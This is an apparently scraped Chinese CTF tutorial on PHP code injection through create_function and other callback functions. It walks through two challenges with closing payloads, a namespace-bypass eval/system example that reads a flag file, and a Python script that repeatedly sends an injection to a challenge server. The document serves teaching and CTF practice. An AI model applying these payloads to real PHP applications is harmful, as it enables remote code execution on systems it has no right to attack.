CTF题型 匿名函数考法例题总结

news2024/11/23 8:59:27

CTF题型 匿名函数考法&例题总结

文章目录

  • CTF题型 匿名函数考法&例题总结
    • 一 .原理分析
    • 二 .重点匿名函数利用
      • 1.create_function()
        • 如何实现create_function代码注入
      • 2.array_map()
      • 3.call_user_func()
      • 4.call_user_func_array()
      • 5.array_filter()
    • 三.例题讲解
      • 1.[Polar 靶场 某函数的复仇]
        • 扩展(非本题)
      • 2.[2023 安洵杯 what’s my name]

一 .原理分析

匿名函数特点:无函数名,使用一次就被丢弃,一般可以动态执行php代码

二 .重点匿名函数利用

请熟记并理解为后面php代码审计打基础

1.create_function()

image-20240320104058936

创建一个匿名(lambda样式)函数

第一次创建了一个叫 lambda_1 的函数,此后调用依次递增lambda_2…

注意 实际为 %00lambda_1只不过%00不可见而已

create_function ( string $args , string $code ) : string

根据传递的参数创建一个匿名函数,并为其返回唯一的名称。如果没有严格对参数传递进行过滤,攻击者可以构造payload传递给create_function()对参数或函数体闭合注入恶意代码导致代码执行

可以闭合代码,实现eval执行任意命令

如何实现create_function代码注入

闭合方式不唯一,按实际代码决定

create_function('$name','echo $name."alex"')

等同与创建了一个函数:

function fT($fname) {
  echo $fname."alex";
}

并返回这个函数名 lambda_1

极其类似sql注入 (使前面闭合,使后面注释)

例如

<?php
$id=$_GET['id'];
$str2='echo  $a'.'test'.$id.";";
echo $str2;
echo "<br/>";
echo "==============================";
echo "<br/>";
$f1 = create_function('$a',$str2);
?>

id值可控

原函数:
function fT($a){
  echo $a."test".$id;
}

代码注入后:
function fT($a){
  echo $a."test";}phpinfo();/*;
}

2.array_map()

array_map — 为数组的每个元素应用回调函数

image-20240320105455991

利用: 第一个参数为 回调函数,第二个参数为 参数数组

image-20240320105756416

3.call_user_func()

call_user_func — 把第一个参数作为回调函数调用

image-20240320110020370

同样的第一个参数是回调函数 不过第二个参数是 字符串 不是数组

image-20240320110214845

4.call_user_func_array()

和array_map一模一样 利用: 第一个参数为 回调函数,第二个参数为 参数数组

image-20240320110325072

5.array_filter()

array_filter — 使用回调函数过滤数组的元素

image-20240320110454117

和array_map()对调一下位置 第一个参数为 参数数组,第二个参数为 回调函数

image-20240320110621408

三.例题讲解

1.[Polar 靶场 某函数的复仇]

环境 :https://www.polarctf.com/#/page/challenges

<?php
highlight_file(__FILE__);
//flag:/flag
if(isset($_POST['shaw'])){
    $shaw = $_POST['shaw'];
    $root = $_GET['root'];
    if(preg_match('/^[a-z_]*$/isD',$shaw)){
        if(!preg_match('/rm|ch|nc|net|ex|\-|de|cat|tac|strings|h|wget|\?|cp|mv|\||so|\$/i',$root)){
            $shaw('',$root);
        }else{
            echo "Almost there^^";
        }
    }
}
?>

特征:$shaw('',$root);

方法名可控,第二个参数可控,那么我们考虑create_function();

这里保证$shaw=开头是[a-z_] 结尾是任意字符的字符

直接传 create_function即可

扩展(非本题)

这里提一嘴(经常考) 如果正则匹配 过滤 开头是[a-z_] 结尾是任意字符的字符 不可行 如何绕过?

if(preg_match('/^[a-z_]*$/isD',$shaw) 方法名绕过

通过 命名空间绕过 因为 \create_function()等价于create_function()

什么是命名空间(\)

在PHP的命名空间默认为\,所有的函数和类都在\这个命名空间中,如果直接写函数名function_name()调用,调用的时候其实相当于写了一个相对路径;而如果写\function_name() 这样调用函数,则其实是写了一个绝对路径。如果你在其他namespace里调用系统类,就必须写绝对路径这种写法。

#例
<?php namespace ccc;\eval($_REQUEST['a']);
<?php \system('cat /tmp/flag_XXXX');

接着闭合代码 底层实现{return $root}

我们用 ;}任意代码//闭合

注意这里过滤了 h phpinfo();是被过滤了的

image-20240320115209874

2.[2023 安洵杯 what’s my name]

题目环境:https://github.com/D0g3-Lab/i-SOON_CTF_2023/tree/main/web/

<?php
highlight_file(__file__);
$d0g3=$_GET['d0g3'];
$name=$_GET['name'];
if(preg_match('/^(?:.{5})*include/',$d0g3)){
    $sorter='strnatcasecmp';
    $miao = create_function('$a,$b', 'return "ln($a) + ln($b) = " . log($a * $b);');
    if(strlen($d0g3)==substr($miao, -2)&&$name===$miao){
        $sort_function = ' return 1 * ' . $sorter . '($a["' . $d0g3 . '"], $b["' . $d0g3 . '"]);';
        @$miao=create_function('$a, $b', $sort_function);
    }
    else{
        echo('Is That My Name?');
    }
}
else{
    echo("YOU Do Not Know What is My Name!");
}
?>

@$miao=create_function('$a, $b', $sort_function);匿名函数可以执行命令

闭合根据$sort_function = ' return 1 * ' . $sorter . '($a["' . $d0g3 . '"], $b["' . $d0g3 . '"]);'; 其中$d0g3可控

原本闭合payload:'"]);}payload//

但是要满足if(preg_match('/^(?:.{5})*include/',$d0g3))

前5个任意字符+include

所以闭合用"]);}include();//将 前面的 ’ 当成字符看了

 $miao = create_function('$a,$b', 'return "ln($a) + ln($b) = " . log($a * $b);');
    if(strlen($d0g3)==substr($miao, -2)&&$name===$miao)

m i a o 为返回的匿名函数名称,判断 miao为返回的匿名函数名称,判断 miao为返回的匿名函数名称,判断name=== m i a o 而且 s t r l e n ( miao而且strlen( miao而且strlen(d0g3==substr($miao))

探究一下返回的匿名函数名称

image-20240320131200836

注意还有两位不可见字符 可以用%00lambda_x绕过强相等image-20240320131302930

"]);}include(phpinfo());//

有26位字符

第26次 到lambda_626时执行命令

可以写个脚本

import requests
url='http://23.94.38.86:9999/?name=%00lambda_26'
params={
    'd0g3':"\"]);}include(phpinfo());//"
}
i=0
while True:
    i=i+1
    response=requests.get(url,params=params)
    print('+'+str(i))
    if 'php.net' in response.text:
        print(response.text)
        break

注意一点

#在Python的requests库中,当你发送一个请求并尝试传递一个包含%00的字符串时,默认情况下requests库会尝试对这个字符串进行URL编码。这是因为%00是一个URL编码的字符,对应于ASCII的NULL字符
#所以写死name的值

可以返回phpinfo的内容

image-20240320215250956

其他命令同理

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1532008.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

netty基础_12.用 Netty 自己实现简单的RPC

用 Netty 自己实现简单的RPC RPC 基本介绍我们的RPC 调用流程图己实现 Dubbo RPC&#xff08;基于 Netty&#xff09;需求说明设计说明代码封装的RPCNettyServerNettyServerHandlerNettyClientHandlerNettyClient 接口服务端(provider)HelloServiceImplServerBootstrap 客户端(…

Spring Web MVC入门(5)

响应 在我们前面的代码例子中, 都已经设置了响应数据Http响应结果可以是数据, 也可以是静态页面, 也可以针对响应设置状态码, Header信息等. 返回静态页面 创建前端页面index.html(注意路径) html代码如下: <!DOCTYPE html> <html lang"en"> <hea…

算法沉淀——贪心算法四(leetcode真题剖析)

算法沉淀——贪心算法四 01.最长回文串02.增减字符串匹配03.分发饼干04.最优除法 01.最长回文串 题目链接&#xff1a;https://leetcode.cn/problems/longest-palindrome/ 给定一个包含大写字母和小写字母的字符串 s &#xff0c;返回 通过这些字母构造成的 最长的回文串 。 …

初始Java篇(JavaSE基础语法)(2)

个人主页&#xff08;找往期文章包括但不限于本期文章中不懂的知识点&#xff09;&#xff1a;我要学编程(ಥ_ಥ)-CSDN博客 目录 逻辑控制 顺序结构 分支结构 if语句 switch 语句 循环结构 while 循环 for 循环 do while 循环 输入输出 输出到控制台 从键盘输入 …

C++ UML类图

参考文章&#xff1a; &#xff08;1&#xff09;C UML类图详解 &#xff08;2&#xff09;C基础——用C实例理解UML类图 &#xff08;3&#xff09;C设计模式——UML类图 &#xff08;4&#xff09;[UML] 类图介绍 —— 程序员&#xff08;灵魂画手&#xff09;必备画图技能之…

npm出现内部错误,重新设置镜像

问题&#xff1a; 报错解释&#xff1a; 这个错误表明你尝试从一个指定的npm镜像源的响应时失败了。可能的原因包括网络问题、镜像源不可用、DNS解析问题或者镜像源的确已经下线或更改。 1.重新设置镜像源 设置淘宝镜像源&#xff1a; npm config set registry https://re…

⾃定义类型:联合和枚举

1.联合体 1.1 联合体类型的声明 像结构体⼀样&#xff0c;联合体也是由⼀个或者多个成员构成&#xff0c;这些成员可以不同的类型。 但是编译器只为最⼤的成员分配⾜够的内存空间。联合体的特点是所有成员共⽤同⼀块内存空间。所以联合体也叫&#xff1a;共⽤体。 给联合体…

安装MySQL5.7.19 + 解决数据库乱码

文章目录 1.删除mysql服务 sc delete mysql2.解压到D:\mysql5.7下3.配置管理员环境变量4.D:\mysql5.7\mysql-5.7.19-winx64下创建my.ini1.创建文件2.文件内容 5.管理员打开cmd&#xff0c;切换到 D:\mysql5.7\mysql-5.7.19-winx64\bin6.输入 mysqld -install 安装mysql服务7.初…

腾讯云服务器怎么买省钱?先领券,再下单!

腾讯云代金券领取渠道有哪些&#xff1f;腾讯云官网可以领取、官方媒体账号可以领取代金券、完成任务可以领取代金券&#xff0c;大家也可以在腾讯云百科蹲守代金券&#xff0c;因为腾讯云代金券领取渠道比较分散&#xff0c;腾讯云百科txybk.com专注汇总优惠代金券领取页面&am…

2024年腾讯云服务器优惠券领取入口和代金券使用教程(收藏)

腾讯云代金券领取渠道有哪些&#xff1f;腾讯云官网可以领取、官方媒体账号可以领取代金券、完成任务可以领取代金券&#xff0c;大家也可以在腾讯云百科蹲守代金券&#xff0c;因为腾讯云代金券领取渠道比较分散&#xff0c;腾讯云百科txybk.com专注汇总优惠代金券领取页面&am…

C语言经典算法-6

文章目录 其他经典例题跳转链接31.数字拆解32.得分排行33.选择、插入、气泡排序34.Shell 排序法 - 改良的插入排序35.Shaker 排序法 - 改良的气泡排序 其他经典例题跳转链接 C语言经典算法-1 1.汉若塔 2. 费式数列 3. 巴斯卡三角形 4. 三色棋 5. 老鼠走迷官&#xff08;一&…

10分钟带你了解分布式系统的补偿机制

我们知道&#xff0c;应用系统在分布式的情况下&#xff0c;在通信时会有着一个显著的问题&#xff0c;即一个业务流程往往需要组合一组服务&#xff0c;且单单一次通信可能会经过 DNS 服务&#xff0c;网卡、交换机、路由器、负载均衡等设备&#xff0c;而这些服务于设备都不一…

浏览量这么低,还要不要继续坚持?

哈喽&#xff0c;你好啊&#xff0c;我是雷工&#xff01; 曾经在一个群里聊天&#xff0c;有群友看到我两位数的浏览量&#xff0c;说到&#xff1a;浏览量这么低还坚持什么&#xff1f; 浏览量低是事实&#xff0c;大多数是十几二十的&#xff0c;上百的都是少数&#xff0c…

Day62:WEB攻防-PHP反序列化CLI框架类PHPGGC生成器TPYiiLaravel等利用

目录 反序列化链项目-PHPGGC&NotSoSecure NotSoSecure(综合类) PHPGGC(单项类) 反序列化框架利用-ThinkPHP&Yii&Laravel [安洵杯 2019]iamthinking Thinkphp V6.0.X 反序列化 CTFSHOW 反序列化 267 Yii2反序列化 CTFSHOW 反序列化 271 Laravel反序列化 知识…

JVM学习-类加载

目录 1.类文件结构 2.类加载器 3.类加载的三个阶段 3.1加载 3.2链接 3.2.1验证 3.2.2准备阶段 3.2.3解析阶段 3.3初始化 4.拓展&#xff1a;反射 4.1获取类对象 4.2创建实例 4.3获取方法 4.4方法调用 1.类文件结构 2.类加载器 类加载器用来将类文件的二进制字节码加载到JV…

咨询交流论坛|基于JSP+ Mysql+Java+ B/S结构的东理咨询交流论坛设计与实现(可运行源码+数据库+设计文档)

推荐阅读100套最新项目 最新ssmjava项目文档视频演示可运行源码分享 最新jspjava项目文档视频演示可运行源码分享 最新Spring Boot项目文档视频演示可运行源码分享 2024年56套包含java&#xff0c;ssm&#xff0c;springboot的平台设计与实现项目系统开发资源&#xff08;可…

DataFrame转换为Numpy数组

参考&#xff1a;Converting DataFrame to Numpy Array Numpy&#xff08;Numerical Python&#xff09;是一种开源的Python科学计算库&#xff0c;它提供了一个强大的多维数组对象和一系列的工具函数&#xff0c;用于处理这些数组。Pandas则是Python中另一个流行的数据处理库…

Python学习:注释和运算符

python 注释 在Python中&#xff0c;注释用于在代码中添加解释、说明或者提醒&#xff0c;但并不会被解释器执行。Python中的注释以#开头&#xff0c;直到行末为止。下面是关于Python注释的详细解释和举例&#xff1a; 单行注释&#xff1a;使用#符号在行的开头添加注释&…

闭式解,加权最小二乘法

二郎最近在看定位算法&#xff0c;里面大家提到的比较多的就是加权最小二乘法&#xff0c;而也会提到闭式解&#xff0c;所以二郎带大家一起了解一下这些方法&#xff0c;希望大家都能懂得这个方法&#xff0c;而不是一看到就发懵。 1、闭式解解析解 1&#xff09;闭式解等价于…

跟着cherno手搓游戏引擎【29】Batch简单合批

思路&#xff1a; CPU和GPU都开辟同样大小的一大块内存&#xff08;为了存储顶点信息&#xff09; 索引在程序运行时生成对应规则后绑定到索引缓冲中 动态生成顶点信息&#xff08;现在改成Drawquad只是确定图形顶点的位置&#xff09; 然后在Endscene&#xff0c;将CPU的动…